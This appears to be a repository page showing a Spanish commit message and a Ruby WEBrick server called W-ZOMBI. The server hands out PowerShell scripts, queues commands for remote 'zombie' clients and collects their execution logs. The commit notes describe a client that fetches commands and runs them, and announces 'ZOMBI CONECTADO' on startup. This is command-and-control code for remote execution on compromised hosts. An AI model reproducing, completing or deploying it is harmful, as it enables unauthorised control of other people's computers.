Bugs corregidos: - /cmd no existía en server (solo /cmd.json) — agregada ruta explícita - PS1 client pedía /cmd sin Content-Type JSON — cambiado a /cmd.json - JSON fallback: ConvertFrom-Json si Invoke-RestMethod no parsea - Send-Log con UTF-8 encoding explícito - Validación extra: chequea $cmdData.id y $cmdData.cmd antes de ejecutar - Log bilateral: registra comando enviado Y resultado recibido - ZOMBI CONECTADO log al iniciar
31 lines
960 B
Ruby
31 lines
960 B
Ruby
require 'webrick'
|
|
require_relative 'routes/zombi'
|
|
require_relative 'routes/cmd'
|
|
require_relative 'routes/log'
|
|
require_relative 'routes/ps1'
|
|
require_relative 'routes/exec'
|
|
|
|
module WZombi
|
|
class Server
|
|
def initialize(config)
|
|
@config = config
|
|
end
|
|
|
|
def start
|
|
server = WEBrick::HTTPServer.new(Port: @config.puerto)
|
|
|
|
server.mount_proc('/zombi.ps1', &Routes::Zombi.new(@config).method(:call))
|
|
server.mount_proc('/cmd.json', &Routes::Cmd.new(@config).method(:call))
|
|
server.mount_proc('/cmd', &Routes::Cmd.new(@config).method(:call))
|
|
server.mount_proc('/log', &Routes::Log.new(@config).method(:call))
|
|
server.mount_proc('/ps1', &Routes::Ps1.new(@config).method(:call))
|
|
server.mount_proc('/exec.ps1', &Routes::Exec.new(@config).method(:call))
|
|
|
|
trap("INT") { server.shutdown }
|
|
|
|
puts "[W-ZOMBI] Servidor corriendo en puerto #{@config.puerto}"
|
|
server.start
|
|
end
|
|
end
|
|
end
|